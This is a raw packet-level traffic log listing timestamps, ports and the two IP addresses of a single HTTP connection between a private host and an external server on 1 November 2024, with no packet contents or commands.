Nov 1, 2024 05:52:33.677016020 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677045107 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677073002 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677083969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677103043 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677118063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677119970 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677130938 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677143097 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677145958 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677151918 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677158117 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677177906 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677181005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677196026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677200079 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677222013 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677237988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677239895 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677254915 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677268028 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677289963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677293062 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677303076 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677316904 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677342892 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677373886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677386045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677396059 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677408934 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677419901 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677419901 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677431107 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677438021 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677444935 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677457094 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677489042 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677503109 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677514076 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677539110 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677548885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677550077 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677561045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677578926 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677586079 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677598000 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677601099 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677608967 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677619934 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677624941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677633047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677635908 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677655935 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677659035 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677669048 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677680016 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677684069 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677692890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677711010 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677736044 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677743912 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677753925 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677764893 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677774906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677783012 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677787066 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677809000 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677823067 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677834034 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677836895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677858114 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677864075 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677877903 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677882910 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677896976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677905083 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677916050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677918911 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677927017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677937031 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677937984 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677949905 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677952051 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677961111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.677969933 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.677989960 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678013086 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678030014 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678040981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678050995 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678061008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678070068 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678071976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678083897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678086996 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678111076 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678111076 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678122997 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678132057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678133965 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678147078 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678169966 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678179026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678179026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678189993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678210974 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678215981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678225994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678230047 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678236961 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678250074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678252935 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678262949 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678280115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678286076 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678298950 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678306103 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678308010 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678320885 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678349972 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678373098 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678384066 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678407907 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678415060 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678417921 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678430080 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678438902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678450108 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678462029 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678488970 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678523064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678533077 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678539038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678544998 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678553104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678563118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678584099 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678601027 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678611994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678617001 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678623915 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678634882 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678643942 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678658009 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678683043 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678697109 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678705931 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678714991 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678725958 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678738117 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678739071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678750992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678764105 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678780079 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678783894 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678792000 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678802967 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678805113 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678814888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.678824902 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.678853035 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.679117918 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.679130077 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.679140091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.679160118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.679164886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.679173946 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.679177046 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.679203033 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.679204941 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.679222107 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.679244041 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.722889900 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.722903967 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.722914934 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.722928047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.722939968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.722943068 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.722951889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.722970009 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.722990036 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.764827967 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.764842033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.764852047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.764863968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.765027046 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800024033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800046921 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800060034 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800091982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800100088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800127983 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800141096 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800142050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800168991 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800194979 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800204039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800215006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800225973 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800226927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800225973 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800225973 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800225973 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800237894 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800241947 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800252914 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800261021 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800272942 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800283909 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800292015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800304890 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800307035 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800319910 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800323963 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800331116 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800339937 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800344944 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800354004 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800358057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800364017 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800371885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800385952 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800405979 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800412893 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800426006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800436974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800446987 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800457954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800461054 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800468922 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800481081 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800491095 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800494909 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800518036 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800539017 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800539970 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800571918 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800581932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800584078 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800596952 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800610065 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800616980 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800623894 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800636053 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800637960 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800646067 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800658941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800672054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800676107 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800683022 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800683975 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800709009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800720930 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800743103 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800781012 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800792933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800801992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800823927 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800829887 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800837040 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800843000 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800873041 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800884008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800890923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800895929 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800906897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800918102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800929070 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800932884 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800940990 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800945997 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800954103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.800970078 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800996065 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.800997019 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801007986 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801032066 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801033020 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801043987 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801054955 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801069021 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801079988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801085949 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801091909 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801098108 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801112890 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801120996 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801127911 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801131010 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801142931 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801158905 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801183939 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801199913 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801223993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801234961 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801242113 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801245928 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801271915 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801271915 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801273108 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801286936 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801296949 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801307917 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801312923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801320076 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801341057 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801354885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801362991 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801367044 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801390886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801393032 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801402092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801413059 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801423073 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801430941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801446915 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801469088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801506042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801585913 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801595926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801605940 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801620007 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801626921 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801645994 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801650047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801655054 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801666021 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801678896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801692009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801701069 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801707983 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801716089 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801721096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801728964 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801732063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801748037 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801775932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.801793098 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801809072 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.801827908 CET	80	49760	185.215.113.206	192.168.2.4
